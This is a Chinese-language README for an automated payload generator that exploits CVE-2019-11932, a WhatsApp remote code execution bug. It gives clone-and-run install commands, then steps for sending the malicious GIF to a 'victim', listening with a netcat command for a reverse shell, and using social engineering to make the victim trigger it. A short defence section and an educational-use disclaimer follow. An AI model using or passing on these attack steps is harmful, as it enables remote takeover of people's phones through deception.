WhatsPayloadRCE

这是一个针对 CVE-2019-11932（WhatsApp 远程代码执行）的自动化载荷生成工具。

1. 自动安装 GCC（无害命令，你可以看到这是开源的）
2. 保存为 .GIF 文件

如何使用？

sudo apt install git
git clone https://github.com/Err0r-ICA/WhatsPayloadRCE
cd WhatsPayloadRCE && bash start

截图

如何获取 Shell？

1. 你只需要将 .GIF 文件 作为文档（而非图片） 发送给受害者用户
2. 然后在你在 WhatsRCE 工具上设置的端口上启动 nc / netcat：{nc -lnvp your_port}
3. 你可以使用社交工程攻击来吸引受害者触发此漏洞
4. 告诉受害者通过 WhatsApp 打开相册，并让受害者发送任何照片。几秒钟后，你将收到来自受害者的反弹 shell 连接

如何防御此攻击？

1. 将你的 WhatsApp 更新到最新版本（在 2.19.244 版本中已修复）
2. 不要接收来自未知人员的任何文件，包括音频、图片等

感谢 awakened1712 - Edo Maland - IndoXploit

仅供学习用途，若用于犯罪，本人概不负责！

我的账户

• TELEGRAM

• FACEBOOK

• INSTAGRAM